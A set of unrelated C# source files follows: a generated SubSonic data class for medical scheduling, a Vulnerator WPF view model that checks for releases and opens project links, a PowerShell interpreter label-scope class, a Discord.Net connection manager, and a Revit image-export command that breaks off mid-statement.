[XmlAttribute("PorcentajeTurnosDia")] [Bindable(true)] public int PorcentajeTurnosDia { get { return GetColumnValue<int>(Columns.PorcentajeTurnosDia); } set { SetColumnValue(Columns.PorcentajeTurnosDia, value); } } [XmlAttribute("PorcentajeTurnosAnticipado")] [Bindable(true)] public int PorcentajeTurnosAnticipado { get { return GetColumnValue<int>(Columns.PorcentajeTurnosAnticipado); } set { SetColumnValue(Columns.PorcentajeTurnosAnticipado, value); } } [XmlAttribute("MaximoSobreturnos")] [Bindable(true)] public int MaximoSobreturnos { get { return GetColumnValue<int>(Columns.MaximoSobreturnos); } set { SetColumnValue(Columns.MaximoSobreturnos, value); } } [XmlAttribute("IdUsuarioRegistro")] [Bindable(true)] public int IdUsuarioRegistro { get { return GetColumnValue<int>(Columns.IdUsuarioRegistro); } set { SetColumnValue(Columns.IdUsuarioRegistro, value); } } [XmlAttribute("FechaRegistro")] [Bindable(true)] public DateTime FechaRegistro { get { return GetColumnValue<DateTime>(Columns.FechaRegistro); } set { SetColumnValue(Columns.FechaRegistro, value); } } #endregion #region ForeignKey Properties /// <summary> /// Returns a SysEspecialidad ActiveRecord object related to this SysRelEspecialidadEfector /// /// </summary> public DalSic.SysEspecialidad SysEspecialidad { get { return DalSic.SysEspecialidad.FetchByID(this.IdEspecialidad); } set { SetColumnValue("idEspecialidad", value.IdEspecialidad); } } /// <summary> /// Returns a SysEfector ActiveRecord object related to this SysRelEspecialidadEfector /// /// </summary> public DalSic.SysEfector SysEfector { get { return DalSic.SysEfector.FetchByID(this.IdEfector); } set { SetColumnValue("idEfector", value.IdEfector); } } #endregion //no ManyToMany tables defined (0) #region ObjectDataSource support /// <summary> /// Inserts a record, can be used with the Object Data Source /// </summary> public static void Insert(int varIdEspecialidad,int varIdEfector,int varDuracionTurno,int varPorcentajeTurnosDia,int varPorcentajeTurnosAnticipado,int varMaximoSobreturnos,int varIdUsuarioRegistro,DateTime varFechaRegistro) { SysRelEspecialidadEfector item = new SysRelEspecialidadEfector(); item.IdEspecialidad = varIdEspecialidad; item.IdEfector = varIdEfector; item.DuracionTurno = varDuracionTurno; item.PorcentajeTurnosDia = varPorcentajeTurnosDia; item.PorcentajeTurnosAnticipado = varPorcentajeTurnosAnticipado; item.MaximoSobreturnos = varMaximoSobreturnos; item.IdUsuarioRegistro = varIdUsuarioRegistro; item.FechaRegistro = varFechaRegistro; if (System.Web.HttpContext.Current != null) item.Save(System.Web.HttpContext.Current.User.Identity.Name); else item.Save(System.Threading.Thread.CurrentPrincipal.Identity.Name); } /// <summary> /// Updates a record, can be used with the Object Data Source /// </summary> public static void Update(int varIdRelEspecialidadEfector,int varIdEspecialidad,int varIdEfector,int varDuracionTurno,int varPorcentajeTurnosDia,int varPorcentajeTurnosAnticipado,int varMaximoSobreturnos,int varIdUsuarioRegistro,DateTime varFechaRegistro) { SysRelEspecialidadEfector item = new SysRelEspecialidadEfector(); item.IdRelEspecialidadEfector = varIdRelEspecialidadEfector; item.IdEspecialidad = varIdEspecialidad; item.IdEfector = varIdEfector; item.DuracionTurno = varDuracionTurno; item.PorcentajeTurnosDia = varPorcentajeTurnosDia; item.PorcentajeTurnosAnticipado = varPorcentajeTurnosAnticipado; item.MaximoSobreturnos = varMaximoSobreturnos; item.IdUsuarioRegistro = varIdUsuarioRegistro; item.FechaRegistro = varFechaRegistro; item.IsNew = false; if (System.Web.HttpContext.Current != null) item.Save(System.Web.HttpContext.Current.User.Identity.Name); else item.Save(System.Threading.Thread.CurrentPrincipal.Identity.Name); } #endregion #region Typed Columns public static TableSchema.TableColumn IdRelEspecialidadEfectorColumn { get { return Schema.Columns[0]; } } public static TableSchema.TableColumn IdEspecialidadColumn { get { return Schema.Columns[1]; } } public static TableSchema.TableColumn IdEfectorColumn { get { return Schema.Columns[2]; } } public static TableSchema.TableColumn DuracionTurnoColumn { get { return Schema.Columns[3]; } } public static TableSchema.TableColumn PorcentajeTurnosDiaColumn { get { return Schema.Columns[4]; } } public static TableSchema.TableColumn PorcentajeTurnosAnticipadoColumn { get { return Schema.Columns[5]; } } public static TableSchema.TableColumn MaximoSobreturnosColumn { get { return Schema.Columns[6]; } } public static TableSchema.TableColumn IdUsuarioRegistroColumn { get { return Schema.Columns[7]; } } public static TableSchema.TableColumn FechaRegistroColumn { get { return Schema.Columns[8]; } } #endregion #region Columns Struct public struct Columns { public static string IdRelEspecialidadEfector = @"idRelEspecialidadEfector"; public static string IdEspecialidad = @"idEspecialidad"; public static string IdEfector = @"idEfector"; public static string DuracionTurno = @"duracionTurno"; public static string PorcentajeTurnosDia = @"porcentajeTurnosDia"; public static string PorcentajeTurnosAnticipado = @"porcentajeTurnosAnticipado"; public static string MaximoSobreturnos = @"maximoSobreturnos"; public static string IdUsuarioRegistro = @"idUsuarioRegistro"; public static string FechaRegistro = @"fechaRegistro"; } #endregion #region Update PK Collections #endregion #region Deep Save #endregion } }
using Enterwell.Clients.Wpf.Notifications; using GalaSoft.MvvmLight; using GalaSoft.MvvmLight.Command; using GalaSoft.MvvmLight.Messaging; using log4net; using MahApps.Metro; using Microsoft.Win32; using System; using System.ComponentModel; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; using System.Windows; using System.Windows.Controls; using System.Windows.Media; using ControlzEx.Theming; using Vulnerator.Helper; using Vulnerator.Model.BusinessLogic; using Vulnerator.Model.DataAccess; using Vulnerator.Model.Object; using Vulnerator.View.UI; using Vulnerator.ViewModel.ViewModelHelper; using Logger = Vulnerator.Helper.Logger; namespace Vulnerator.ViewModel { /// <summary> /// This class contains properties that the main View can data bind to. /// <para> /// Use the <strong>mvvminpc</strong> snippet to add bindable properties to this ViewModel. /// </para> /// <para> /// You can also use Blend to data bind with the tool's support. /// </para> /// <para> /// See http://www.galasoft.ch/mvvm /// </para> /// </summary> public class MainViewModel : ViewModelBase { private Assembly assembly = Assembly.GetExecutingAssembly(); private AsyncObservableCollection<Release> ReleaseList; private BackgroundWorker backgroundWorker; private DatabaseBuilder databaseBuilder; private GitHubActions githubActions; public INotificationMessageManager NotificationMessageManager { get; set; } = new NotificationMessageManager(); public Logger logger = new Logger(); public string ApplicationVersion { get { Assembly assembly = Assembly.GetExecutingAssembly(); return FileVersionInfo.GetVersionInfo(assembly.Location).FileVersion.ToString(); } } private string _newVersionText = "Update Info Unavailable"; /// <summary> /// String to notify users of new application version(s) available for download /// </summary> public string NewVersionText { get => _newVersionText; set { if (_newVersionText != value) { _newVersionText = value; RaisePropertyChanged("NewVersionText"); } } } private string _newVersionVisibility = "Collapsed"; public string NewVersionVisibility { get => _newVersionVisibility; set { if (_newVersionVisibility != value) { _newVersionVisibility = value; RaisePropertyChanged("NewVersionVisibility"); } } } private string _progressLabelText = "Awaiting Execution"; public string ProgressLabelText { get => _progressLabelText; set { if (_progressLabelText != value) { _progressLabelText = value; RaisePropertyChanged("ProgressLabelText"); } } } private string _progressRingVisibility = "Collapsed"; public string ProgressRingVisibility { get => _progressRingVisibility; set { if (_progressRingVisibility != value) { _progressRingVisibility = value; RaisePropertyChanged("ProgressRingVisibility"); } } } private bool _isEnabled = true; public bool IsEnabled { get => _isEnabled; set { if (_isEnabled != value) { _isEnabled = value; RaisePropertyChanged("IsEnabled"); } } } private Release _release = new Release(); public Release Release { get => _release; set { if (_release != value) { _release = value; RaisePropertyChanged("Release"); } } } /// <summary> /// Initializes a new instance of the MainViewModel class. /// </summary> public MainViewModel() { try { logger.Setup(); LogWriter.LogStatusUpdate("'Logger' successfully initialized."); LogWriter.LogStatusUpdate("Initializing 'MainViewModel'."); githubActions = new GitHubActions(); databaseBuilder = new DatabaseBuilder(); VersionTest(); Properties.Settings.Default.ActiveUser = Environment.UserName; Messenger.Default.Register<GuiFeedback>(this, (guiFeedback) => UpdateGui(guiFeedback)); LogWriter.LogStatusUpdate("'UpdateGui' Messenger registered."); Messenger.Default.Register<string>(this, (databaseLocation) => InstantiateNewDatabase(databaseLocation)); LogWriter.LogStatusUpdate("'InstantiateNewDatabase' Messenger registered."); Messenger.Default.Register<Notification>(this, (notification) => GenerateNotification(notification)); LogWriter.LogStatusUpdate("'GenerateNotification' Messenger registered."); LogWriter.LogStatusUpdate("'MainViewModel' successfully initialized."); } catch (Exception exception) { string error = "Unable to initialize 'MainViewModel'."; LogWriter.LogErrorWithDebug(error, exception); } } private void UpdateGui(GuiFeedback guiFeedback) { try { ProgressLabelText = guiFeedback.ProgressLabelText; ProgressRingVisibility = guiFeedback.ProgressRingVisibility; IsEnabled = guiFeedback.IsEnabled; } catch (Exception exception) { string error = "Unable to update the GUI."; LogWriter.LogErrorWithDebug(error, exception); } } private void InstantiateNewDatabase(string databaseLocation) { try { LogWriter.LogStatusUpdate($"Instantiating new database at '{databaseLocation}'."); Properties.Settings.Default.Database = databaseLocation; DatabaseBuilder.databaseConnection = string.Format(@"Data Source = {0}; Version=3;", Properties.Settings.Default.Database); DatabaseBuilder.sqliteConnection = new System.Data.SQLite.SQLiteConnection(DatabaseBuilder.databaseConnection); databaseBuilder = new DatabaseBuilder(); LogWriter.LogStatusUpdate($"Database instantiated at '{databaseLocation}'."); } catch (Exception exception) { string error = $"Unable to instantiate database at '{databaseLocation}'."; LogWriter.LogErrorWithDebug(error, exception); } } private void VersionTest() { try { backgroundWorker = new BackgroundWorker(); backgroundWorker.DoWork += versionTestBackgroundWorker_DoWork; backgroundWorker.RunWorkerAsync(); backgroundWorker.Dispose(); } catch (Exception exception) { string error = "Unable to generate 'VersionTest' BackgroundWorker."; LogWriter.LogErrorWithDebug(error, exception); } } private async void versionTestBackgroundWorker_DoWork(object sender, DoWorkEventArgs e) { try { LogWriter.LogStatusUpdate("Obtaining latest available release information."); Release = await githubActions.GetLatestGitHubRelease(); if (Release.TagName == "Unavailable") { return; } else { int releaseVersion = int.Parse(Release.TagName.Replace("v", "").Replace(".", "")); int currentVersion = int.Parse(ApplicationVersion.Replace(".", "")); if (releaseVersion > currentVersion) { NewVersionText = "New Version Available: " + Release.TagName; NewVersionVisibility = "Visible"; } else { NewVersionText = "Running Latest Version"; } } LogWriter.LogStatusUpdate("Latest available release information obtained, parsed, and presented successfully."); } catch (Exception exception) { LogWriter.LogError("Unable to obtain application version update information."); throw exception; } } public RelayCommand<object> GetLatestVersionCommand => new RelayCommand<object>(GetLatestVersion); private void GetLatestVersion(object param) { WebNavigate(param.ToString()); } public RelayCommand<object> AboutLinksCommand => new RelayCommand<object>(AboutLinks); private void AboutLinks(object param) { string p = param.ToString(); switch (p) { case "projectButton": { WebNavigate("https://vulnerator.github.io/Vulnerator"); break; } case "wikiButton": { WebNavigate("https://github.com/Vulnerator/Vulnerator/wiki"); break; } case "githubButton": { WebNavigate("https://github.com/Vulnerator/Vulnerator"); break; } case "issueButton": { WebNavigate("https://github.com/Vulnerator/Vulnerator/issues"); break; } case "gitterButton": { WebNavigate("https://gitter.im/Vulnerator/Vulnerator"); break; } case "slackButton": { WebNavigate("https://join.slack.com/t/vulnerator-chat/shared_invite/enQtODcwMTkxMzI2NjQ3LTg0YzFjMjg0NjJkODkzMTIyNTgyN2I0ZDczYmQwMmFhODQyOWI4MDEyODU2MjJmM2ZkNDZiYzNmZjM0NzQ1ODQ"); break; } default: { break; } } } private void WebNavigate(string webPage) { try { Process.Start(GetDefaultBrowserPath(), webPage); } catch (Exception exception) { string error = $"Unable to navigate to {webPage}; no internet application exists."; LogWriter.LogErrorWithDebug(error, exception); NoInternetApplication internetWarning = new NoInternetApplication(); internetWarning.ShowDialog(); } } public RelayCommand LaunchStigNotificationCommand => new RelayCommand(LaunchStigNotification); private void LaunchStigNotification() { try { Theme appStyle = ThemeManager.Current.DetectTheme(Application.Current); Notification notification = new Notification { Accent = appStyle.Resources["MahApps.Colors.AccentBrush"].ToString(), Background = appStyle.Resources["MahApps.Brushes.Window.Background"].ToString(), Badge = "Info", Foreground = appStyle.Resources["MahApps.Brushes.Text"].ToString(), Header = "STIG Library", Message = "Please ingest the latest STIG Compilation Library on the settings page.", AdditionalContentBottom = new Border { BorderThickness = new Thickness(0, 1, 0, 0), BorderBrush = appStyle.Resources["MahApps.Brushes.Gray7"] as SolidColorBrush, Child = new CheckBox { Margin = new Thickness(12, 8, 12, 8), HorizontalAlignment = HorizontalAlignment.Left, Foreground = appStyle.Resources["MahApps.Brushes.Text"] as SolidColorBrush, Content = "Do not display this in the future." } } }; GenerateNotification(notification); } catch (Exception exception) { string error = "Unable to display STIG Library ingestion notification."; LogWriter.LogErrorWithDebug(error, exception); } } private void GenerateNotification(Notification notification) { try { NotificationMessageManager.CreateMessage() .Accent(notification.Accent) .Background(notification.Background) .Foreground(notification.Foreground) .Animates(true) .AnimationInDuration(0.25) .AnimationOutDuration(0.25) .HasBadge(notification.Badge) .HasHeader(notification.Header) .HasMessage(notification.Message) .Dismiss().WithButton("Dismiss", button => { }) //.WithAdditionalContent(ContentLocation.Bottom, // new Border // { // BorderThickness = new Thickness(0,1,0,0), // BorderBrush = ThemeManager.DetectAppStyle(Application.Current).Item1.Resources["MahApps.Brushes.Gray7"] as SolidColorBrush, // Child = new CheckBox // { // Margin = new Thickness(12,8,12,8), // HorizontalAlignment = HorizontalAlignment.Left, // Foreground = ThemeManager.DetectAppStyle(Application.Current).Item1.Resources["MahApps.Brushes.Text"] as SolidColorBrush, // Content = "Do not display this in the future." // } // } //) .Queue(); } catch (Exception exception) { string error = $"Unable to generate '{notification.Header}' notification"; LogWriter.LogErrorWithDebug(error, exception); } } public static string GetDefaultBrowserPath() { string urlAssociation = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http"; string browserPathKey = @"$BROWSER$\shell\open\command"; try { RegistryKey userChoiceKey = Registry.CurrentUser.OpenSubKey(urlAssociation + @"\UserChoice", false); if (userChoiceKey == null) { var browserKey = Registry.ClassesRoot.OpenSubKey(@"HTTP\shell\open\command", false); if (browserKey == null) { browserKey = Registry.CurrentUser.OpenSubKey( urlAssociation, false); } var path = SanitizeBrowserPath(browserKey.GetValue(null) as string); browserKey.Close(); return path; } else { string progId = (userChoiceKey.GetValue("ProgId").ToString()); userChoiceKey.Close(); string concreteBrowserKey = browserPathKey.Replace("$BROWSER$", progId); var kp = Registry.ClassesRoot.OpenSubKey(concreteBrowserKey, false); string browserPath = SanitizeBrowserPath(kp.GetValue(null) as string); kp.Close(); return browserPath; } } catch (Exception exception) { LogWriter.LogError("Unable to obtain default browser information."); throw exception; } } private static string SanitizeBrowserPath(string path) { try { string[] url = path.Split('"'); string clean = url[1]; return clean; } catch (Exception exception) { LogWriter.LogError($"Unable to sanitize browser path '{path}'"); throw exception; } } } }
/* **************************************************************************** * * Copyright (c) Microsoft Corporation. * * This source code is subject to terms and conditions of the Apache License, Version 2.0. A * copy of the license can be found in the License.html file at the root of this distribution. If * you cannot locate the Apache License, Version 2.0, please send an email to * dlr@microsoft.com. By using this source code in any fashion, you are agreeing to be bound * by the terms of the Apache License, Version 2.0. * * You must not remove this notice, or any other, from this software. * * * ***************************************************************************/ #if !CLR2 using System.Globalization; using System.Linq; using System.Linq.Expressions; #else using Microsoft.Scripting.Ast; #endif using System.Collections.Generic; using System.Diagnostics; namespace System.Management.Automation.Interpreter { /// <summary> /// Contains compiler state corresponding to a LabelTarget /// See also LabelScopeInfo. /// </summary> internal sealed class LabelInfo { // The tree node representing this label private readonly LabelTarget _node; // The BranchLabel label, will be mutated if Node is redefined private BranchLabel _label; // The blocks where this label is defined. If it has more than one item, // the blocks can't be jumped to except from a child block // If there's only 1 block (the common case) it's stored here, if there's multiple blocks it's stored // as a HashSet<LabelScopeInfo> private object _definitions; // Blocks that jump to this block private readonly List<LabelScopeInfo> _references = new List<LabelScopeInfo>(); // True if at least one jump is across blocks // If we have any jump across blocks to this label, then the // LabelTarget can only be defined in one place private bool _acrossBlockJump; internal LabelInfo(LabelTarget node) { _node = node; } internal BranchLabel GetLabel(LightCompiler compiler) { EnsureLabel(compiler); return _label; } internal void Reference(LabelScopeInfo block) { _references.Add(block); if (HasDefinitions) { ValidateJump(block); } } internal void Define(LabelScopeInfo block) { // Prevent the label from being shadowed, which enforces cleaner // trees. Also we depend on this for simplicity (keeping only one // active IL Label per LabelInfo) for (LabelScopeInfo j = block; j != null; j = j.Parent) { if (j.ContainsTarget(_node)) { throw new InvalidOperationException(String.Format(CultureInfo.InvariantCulture, "Label target already defined: {0}", _node.Name)); } } AddDefinition(block); block.AddLabelInfo(_node, this); // Once defined, validate all jumps if (HasDefinitions && !HasMultipleDefinitions) { foreach (var r in _references) { ValidateJump(r); } } else { // Was just redefined, if we had any across block jumps, they're // now invalid if (_acrossBlockJump) { throw new InvalidOperationException("Ambiguous jump"); } // For local jumps, we need a new IL label // This is okay because: // 1. no across block jumps have been made or will be made // 2. we don't allow the label to be shadowed _label = null; } } private void ValidateJump(LabelScopeInfo reference) { // look for a simple jump out for (LabelScopeInfo j = reference; j != null; j = j.Parent) { if (DefinedIn(j)) { // found it, jump is valid! return; } if (j.Kind == LabelScopeKind.Filter) { break; } } _acrossBlockJump = true; if (HasMultipleDefinitions) { throw new InvalidOperationException(String.Format(CultureInfo.InvariantCulture, "Ambiguous jump {0}", _node.Name)); } // We didn't find an outward jump. Look for a jump across blocks LabelScopeInfo def = FirstDefinition(); LabelScopeInfo common = CommonNode(def, reference, b => b.Parent); // Validate that we aren't jumping across a finally for (LabelScopeInfo j = reference; j != common; j = j.Parent) { if (j.Kind == LabelScopeKind.Filter) { throw new InvalidOperationException("Control cannot leave filter test"); } } // Valdiate that we aren't jumping into a catch or an expression for (LabelScopeInfo j = def; j != common; j = j.Parent) { if (!j.CanJumpInto) { if (j.Kind == LabelScopeKind.Expression) { throw new InvalidOperationException("Control cannot enter an expression"); } else { throw new InvalidOperationException("Control cannot enter try"); } } } } internal void ValidateFinish() { // Make sure that if this label was jumped to, it is also defined if (_references.Count > 0 && !HasDefinitions) { throw new InvalidOperationException("label target undefined"); } } private void EnsureLabel(LightCompiler compiler) { if (_label == null) { _label = compiler.Instructions.MakeLabel(); } } private bool DefinedIn(LabelScopeInfo scope) { if (_definitions == scope) { return true; } HashSet<LabelScopeInfo> definitions = _definitions as HashSet<LabelScopeInfo>; if (definitions != null) { return definitions.Contains(scope); } return false; } private bool HasDefinitions { get { return _definitions != null; } } private LabelScopeInfo FirstDefinition() { LabelScopeInfo scope = _definitions as LabelScopeInfo; if (scope != null) { return scope; } return ((HashSet<LabelScopeInfo>)_definitions).First(); } private void AddDefinition(LabelScopeInfo scope) { if (_definitions == null) { _definitions = scope; } else { HashSet<LabelScopeInfo> set = _definitions as HashSet<LabelScopeInfo>; if (set == null) { _definitions = set = new HashSet<LabelScopeInfo>() { (LabelScopeInfo)_definitions }; } set.Add(scope); } } private bool HasMultipleDefinitions { get { return _definitions is HashSet<LabelScopeInfo>; } } internal static T CommonNode<T>(T first, T second, Func<T, T> parent) where T : class { var cmp = EqualityComparer<T>.Default; if (cmp.Equals(first, second)) { return first; } var set = new HashSet<T>(cmp); for (T t = first; t != null; t = parent(t)) { set.Add(t); } for (T t = second; t != null; t = parent(t)) { if (set.Contains(t)) { return t; } } return null; } } internal enum LabelScopeKind { // any "statement like" node that can be jumped into Statement, // these correspond to the node of the same name Block, Switch, Lambda, Try, // these correspond to the part of the try block we're in Catch, Finally, Filter, // the catch-all value for any other expression type // (means we can't jump into it) Expression, } // // Tracks scoping information for LabelTargets. Logically corresponds to a // "label scope". Even though we have arbitrary goto support, we still need // to track what kinds of nodes that gotos are jumping through, both to // emit property IL ("leave" out of a try block), and for validation, and // to allow labels to be duplicated in the tree, as long as the jumps are // considered "up only" jumps. // // We create one of these for every Expression that can be jumped into, as // well as creating them for the first expression we can't jump into. The // "Kind" property indicates what kind of scope this is. // internal sealed class LabelScopeInfo { private HybridReferenceDictionary<LabelTarget, LabelInfo> _labels; // lazily allocated, we typically use this only once every 6th-7th block internal readonly LabelScopeKind Kind; internal readonly LabelScopeInfo Parent; internal LabelScopeInfo(LabelScopeInfo parent, LabelScopeKind kind) { Parent = parent; Kind = kind; } /// <summary> /// Returns true if we can jump into this node /// </summary> internal bool CanJumpInto { get { switch (Kind) { case LabelScopeKind.Block: case LabelScopeKind.Statement: case LabelScopeKind.Switch: case LabelScopeKind.Lambda: return true; } return false; } } internal bool ContainsTarget(LabelTarget target) { if (_labels == null) { return false; } return _labels.ContainsKey(target); } internal bool TryGetLabelInfo(LabelTarget target, out LabelInfo info) { if (_labels == null) { info = null; return false; } return _labels.TryGetValue(target, out info); } internal void AddLabelInfo(LabelTarget target, LabelInfo info) { Debug.Assert(CanJumpInto); if (_labels == null) { _labels = new HybridReferenceDictionary<LabelTarget, LabelInfo>(); } _labels[target] = info; } } }
using Discord.Logging; using System; using System.Threading; using System.Threading.Tasks; using Discord.Net; namespace Discord { internal class ConnectionManager : IDisposable { public event Func<Task> Connected { add { _connectedEvent.Add(value); } remove { _connectedEvent.Remove(value); } } private readonly AsyncEvent<Func<Task>> _connectedEvent = new AsyncEvent<Func<Task>>(); public event Func<Exception, bool, Task> Disconnected { add { _disconnectedEvent.Add(value); } remove { _disconnectedEvent.Remove(value); } } private readonly AsyncEvent<Func<Exception, bool, Task>> _disconnectedEvent = new AsyncEvent<Func<Exception, bool, Task>>(); private readonly SemaphoreSlim _stateLock; private readonly Logger _logger; private readonly int _connectionTimeout; private readonly Func<Task> _onConnecting; private readonly Func<Exception, Task> _onDisconnecting; private TaskCompletionSource<bool> _connectionPromise, _readyPromise; private CancellationTokenSource _combinedCancelToken, _reconnectCancelToken, _connectionCancelToken; private Task _task; private bool _isDisposed; public ConnectionState State { get; private set; } public CancellationToken CancelToken { get; private set; } internal ConnectionManager(SemaphoreSlim stateLock, Logger logger, int connectionTimeout, Func<Task> onConnecting, Func<Exception, Task> onDisconnecting, Action<Func<Exception, Task>> clientDisconnectHandler) { _stateLock = stateLock; _logger = logger; _connectionTimeout = connectionTimeout; _onConnecting = onConnecting; _onDisconnecting = onDisconnecting; clientDisconnectHandler(ex => { if (ex != null) { var ex2 = ex as WebSocketClosedException; if (ex2?.CloseCode == 4006) CriticalError(new Exception("WebSocket session expired", ex)); else if (ex2?.CloseCode == 4014) CriticalError(new Exception("WebSocket connection was closed", ex)); else Error(new Exception("WebSocket connection was closed", ex)); } else Error(new Exception("WebSocket connection was closed")); return Task.Delay(0); }); } public virtual async Task StartAsync() { await AcquireConnectionLock().ConfigureAwait(false); var reconnectCancelToken = new CancellationTokenSource(); _reconnectCancelToken?.Dispose(); _reconnectCancelToken = reconnectCancelToken; _task = Task.Run(async () => { try { Random jitter = new Random(); int nextReconnectDelay = 1000; while (!reconnectCancelToken.IsCancellationRequested) { try { await ConnectAsync(reconnectCancelToken).ConfigureAwait(false); nextReconnectDelay = 1000; //Reset delay await _connectionPromise.Task.ConfigureAwait(false); } catch (OperationCanceledException ex) { Cancel(); //In case this exception didn't come from another Error call await DisconnectAsync(ex, !reconnectCancelToken.IsCancellationRequested).ConfigureAwait(false); } catch (Exception ex) { Error(ex); //In case this exception didn't come from another Error call if (!reconnectCancelToken.IsCancellationRequested) { await _logger.WarningAsync(ex).ConfigureAwait(false); await DisconnectAsync(ex, true).ConfigureAwait(false); } else { await _logger.ErrorAsync(ex).ConfigureAwait(false); await DisconnectAsync(ex, false).ConfigureAwait(false); } } if (!reconnectCancelToken.IsCancellationRequested) { //Wait before reconnecting await Task.Delay(nextReconnectDelay, reconnectCancelToken.Token).ConfigureAwait(false); nextReconnectDelay = (nextReconnectDelay * 2) + jitter.Next(-250, 250); if (nextReconnectDelay > 60000) nextReconnectDelay = 60000; } } } finally { _stateLock.Release(); } }); } public virtual Task StopAsync() { Cancel(); return Task.CompletedTask; } private async Task ConnectAsync(CancellationTokenSource reconnectCancelToken) { _connectionCancelToken?.Dispose(); _combinedCancelToken?.Dispose(); _connectionCancelToken = new CancellationTokenSource(); _combinedCancelToken = CancellationTokenSource.CreateLinkedTokenSource(_connectionCancelToken.Token, reconnectCancelToken.Token); CancelToken = _combinedCancelToken.Token; _connectionPromise = new TaskCompletionSource<bool>(); State = ConnectionState.Connecting; await _logger.InfoAsync("Connecting").ConfigureAwait(false); try { var readyPromise = new TaskCompletionSource<bool>(); _readyPromise = readyPromise; //Abort connection on timeout var cancelToken = CancelToken; var _ = Task.Run(async () => { try { await Task.Delay(_connectionTimeout, cancelToken).ConfigureAwait(false); readyPromise.TrySetException(new TimeoutException()); } catch (OperationCanceledException) { } }); try { await _onConnecting().ConfigureAwait(false); } catch (TaskCanceledException ex) { Exception innerEx = ex.InnerException ?? new OperationCanceledException("Failed to connect."); Error(innerEx); throw innerEx; } await _logger.InfoAsync("Connected").ConfigureAwait(false); State = ConnectionState.Connected; await _logger.DebugAsync("Raising Event").ConfigureAwait(false); await _connectedEvent.InvokeAsync().ConfigureAwait(false); } catch (Exception ex) { Error(ex); throw; } } private async Task DisconnectAsync(Exception ex, bool isReconnecting) { if (State == ConnectionState.Disconnected) return; State = ConnectionState.Disconnecting; await _logger.InfoAsync("Disconnecting").ConfigureAwait(false); await _onDisconnecting(ex).ConfigureAwait(false); await _disconnectedEvent.InvokeAsync(ex, isReconnecting).ConfigureAwait(false); State = ConnectionState.Disconnected; await _logger.InfoAsync("Disconnected").ConfigureAwait(false); } public async Task CompleteAsync() { await _readyPromise.TrySetResultAsync(true).ConfigureAwait(false); } public async Task WaitAsync() { await _readyPromise.Task.ConfigureAwait(false); } public void Cancel() { _readyPromise?.TrySetCanceled(); _connectionPromise?.TrySetCanceled(); _reconnectCancelToken?.Cancel(); _connectionCancelToken?.Cancel(); } public void Error(Exception ex) { _readyPromise.TrySetException(ex); _connectionPromise.TrySetException(ex); _connectionCancelToken?.Cancel(); } public void CriticalError(Exception ex) { _reconnectCancelToken?.Cancel(); Error(ex); } public void Reconnect() { _readyPromise.TrySetCanceled(); _connectionPromise.TrySetCanceled(); _connectionCancelToken?.Cancel(); } private async Task AcquireConnectionLock() { while (true) { await StopAsync().ConfigureAwait(false); if (await _stateLock.WaitAsync(0).ConfigureAwait(false)) break; } } protected virtual void Dispose(bool disposing) { if (!_isDisposed) { if (disposing) { _combinedCancelToken?.Dispose(); _reconnectCancelToken?.Dispose(); _connectionCancelToken?.Dispose(); } _isDisposed = true; } } public void Dispose() { Dispose(true); } } }
#region Header // // CmdExportImage.cs - export a preview JPG 3D image of the family or project // // Copyright (C) 2013-2021 by Jeremy Tammik, Autodesk Inc. All rights reserved. // // Keywords: The Building Coder Revit API C# .NET add-in. // #endregion // Header #define VERSION2014 #region Namespaces using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using Autodesk.Revit.Attributes; using Autodesk.Revit.DB; using Autodesk.Revit.UI; using InvalidOperationException = Autodesk.Revit.Exceptions.InvalidOperationException; using IOException = System.IO.IOException; #endregion // Namespaces namespace BuildingCoder { [Transaction(TransactionMode.Manual)] internal class CmdExportImage : IExternalCommand { public Result Execute( ExternalCommandData commandData, ref string message, ElementSet elements) { var uiapp = commandData.Application; var doc = uiapp.ActiveUIDocument.Document; var use_old_code = false; var r = use_old_code ? ExportToImage2(doc) : ExportToImage3(doc); return r; } #region SetWhiteRenderBackground private void SetWhiteRenderBackground(View3D view) { var rs = view.GetRenderingSettings(); rs.BackgroundStyle = BackgroundStyle.Color; var cbs = (ColorBackgroundSettings) rs .GetBackgroundSettings(); cbs.Color = new Color(255, 0, 0); rs.SetBackgroundSettings(cbs); view.SetRenderingSettings(rs); } #endregion // SetWhiteRenderBackground private static string ExportToImage(Document doc) { var tempFileName = Path.ChangeExtension( Path.GetRandomFileName(), "png"); string tempImageFile; try { tempImageFile = Path.Combine( Path.GetTempPath(), tempFileName); } catch (IOException) { return null; } IList<ElementId> views = new List<ElementId>(); try { #if !VERSION2014 var direction = new XYZ(-1, 1, -1); var view3D = doc.IsFamilyDocument ? doc.FamilyCreate.NewView3D(direction) : doc.Create.NewView3D(direction); #else var collector = new FilteredElementCollector( doc); var viewFamilyType = collector .OfClass(typeof(ViewFamilyType)) .OfType<ViewFamilyType>() .FirstOrDefault(x => x.ViewFamily == ViewFamily.ThreeDimensional); var view3D = viewFamilyType != null ? View3D.CreateIsometric(doc, viewFamilyType.Id) : null; #endif // VERSION2014 if (view3D != null) { // Ensure white background. var white = new Color(255, 255, 255); view3D.SetBackground( ViewDisplayBackground.CreateGradient( white, white, white)); views.Add(view3D.Id); var graphicDisplayOptions = view3D.get_Parameter( BuiltInParameter.MODEL_GRAPHICS_STYLE); // Settings for best quality graphicDisplayOptions.Set(6); } } catch (InvalidOperationException) { } var ieo = new ImageExportOptions { FilePath = tempImageFile, FitDirection = FitDirectionType.Horizontal, HLRandWFViewsFileType = ImageFileType.PNG, ImageResolution = ImageResolution.DPI_150, ShouldCreateWebSite = false }; if (views.Count > 0) { ieo.SetViewsAndSheets(views); ieo.ExportRange = ExportRange.SetOfViews; } else { ieo.ExportRange = ExportRange .VisibleRegionOfCurrentView; } ieo.ZoomType = ZoomFitType.FitToPage; ieo.ViewName = "tmp"; if (ImageExportOptions.IsValidFileName( tempImageFile)) // If ExportRange = ExportRange.SetOfViews // and document is not active, then image // exports successfully, but throws // Autodesk.Revit.Exceptions.InternalException try { doc.ExportImage(ieo); } catch { return string.Empty; } else return string.Empty; // File name has format like // "tempFileName - view type - view name", e.g. // "luccwjkz - 3D View - {3D}.png". // Get the first image (we only listed one view // in views). var files = Directory.GetFiles( Path.GetTempPath(), $"{Path.GetFileNameWithoutExtension(tempFileName)}*.*"); return files.Length > 0 ? files[0] : string.Empty; } /// <summary> /// Wrapper for old sample code. /// </summary> private static Result ExportToImage2(Document doc) { var r = Result.Failed; using var tx = new Transaction(doc); tx.Start("Export Image"); var filepath = ExportToImage(doc); tx.RollBack(); if (0 < 